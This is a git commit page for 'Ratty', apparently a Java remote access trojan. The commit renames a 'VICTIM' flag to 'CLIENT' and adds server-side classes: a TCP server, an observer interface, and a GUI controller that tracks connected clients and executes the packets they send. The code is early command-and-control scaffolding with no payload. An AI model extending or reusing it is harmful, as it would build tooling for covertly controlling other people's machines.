Browse Source

Major changes

Added some server side classes
Started to think about GUI
master
Sogomn 9 years ago
parent
commit
fd9ec93475
  1. 12
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 49
      Ratty/src/de/sogomn/rat/server/ActiveServer.java
  3. 11
      Ratty/src/de/sogomn/rat/server/IServerObserver.java
  4. 41
      Ratty/src/de/sogomn/rat/server/ServerGuiController.java

12
Ratty/src/de/sogomn/rat/Ratty.java

@ -8,7 +8,7 @@ import de.sogomn.rat.server.ActiveServer;
public final class Ratty { public final class Ratty {
public static final boolean VICTIM = false;
public static final boolean CLIENT = false;
private Ratty() { private Ratty() {
//... //...
@ -37,14 +37,14 @@ public final class Ratty {
} }
public static void main(final String[] args) { public static void main(final String[] args) {
if (VICTIM) {
connectToHost("localhost", 23456);
if (CLIENT) {
System.out.println("Starting client");
System.out.println("Client started");
connectToHost("localhost", 23456);
} else { } else {
startServer(23456);
System.out.println("Starting server");
System.out.println("Server started");
startServer(23456);
} }
} }

49
Ratty/src/de/sogomn/rat/server/ActiveServer.java

@ -1,23 +1,18 @@
package de.sogomn.rat.server; package de.sogomn.rat.server;
import java.net.Socket; import java.net.Socket;
import java.util.ArrayList;
import de.sogomn.engine.net.TCPServer; import de.sogomn.engine.net.TCPServer;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.IPacket;
public final class ActiveServer extends TCPServer implements IClientObserver {
public final class ActiveServer extends TCPServer {
private Thread thread; private Thread thread;
private ArrayList<ActiveClient> clients;
private IServerObserver observer;
public ActiveServer(final int port) { public ActiveServer(final int port) {
super(port); super(port);
clients = new ArrayList<ActiveClient>();
} }
private ActiveClient acceptClient() { private ActiveClient acceptClient() {
@ -41,21 +36,9 @@ public final class ActiveServer extends TCPServer implements IClientObserver {
thread = null; thread = null;
} }
clients.forEach(client -> {
client.setObserver(null);
client.close();
});
clients.clear();
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
packet.execute();
}
@Override
public void disconnected(final ActiveClient client) {
removeClient(client);
if (observer != null) {
observer.closed(this);
}
} }
public void start() { public void start() {
@ -63,8 +46,8 @@ public final class ActiveServer extends TCPServer implements IClientObserver {
while (isOpen()) { while (isOpen()) {
final ActiveClient client = acceptClient(); final ActiveClient client = acceptClient();
if (client != null) {
addClient(client);
if (observer != null && client != null) {
observer.clientConnected(this, client);
} }
} }
}; };
@ -74,22 +57,8 @@ public final class ActiveServer extends TCPServer implements IClientObserver {
thread.start(); thread.start();
} }
public void broadcast(final IPacket packet) {
clients.forEach(client -> {
client.sendPacket(packet);
});
}
public void addClient(final ActiveClient client) {
client.setObserver(this);
clients.add(client);
client.start();
}
public void removeClient(final ActiveClient client) {
client.setObserver(null);
client.close();
clients.remove(client);
public void setObserver(final IServerObserver observer) {
this.observer = observer;
} }
} }

11
Ratty/src/de/sogomn/rat/server/IServerObserver.java

@ -0,0 +1,11 @@
package de.sogomn.rat.server;
import de.sogomn.rat.ActiveClient;
public interface IServerObserver {
void clientConnected(final ActiveServer server, final ActiveClient client);
void closed(final ActiveServer server);
}

41
Ratty/src/de/sogomn/rat/server/ServerGuiController.java

@ -0,0 +1,41 @@
package de.sogomn.rat.server;
import java.util.ArrayList;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.IPacket;
public final class ServerGuiController implements IServerObserver, IClientObserver {
private ArrayList<ActiveClient> clients;
public ServerGuiController() {
clients = new ArrayList<ActiveClient>();
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
packet.execute();
}
@Override
public void disconnected(final ActiveClient client) {
client.setObserver(null);
client.close();
clients.remove(client);
}
@Override
public void clientConnected(final ActiveServer server, final ActiveClient client) {
client.setObserver(this);
clients.add(client);
client.start();
}
@Override
public void closed(final ActiveServer server) {
System.out.println("Server closed");
}
}
Loading…
Cancel
Save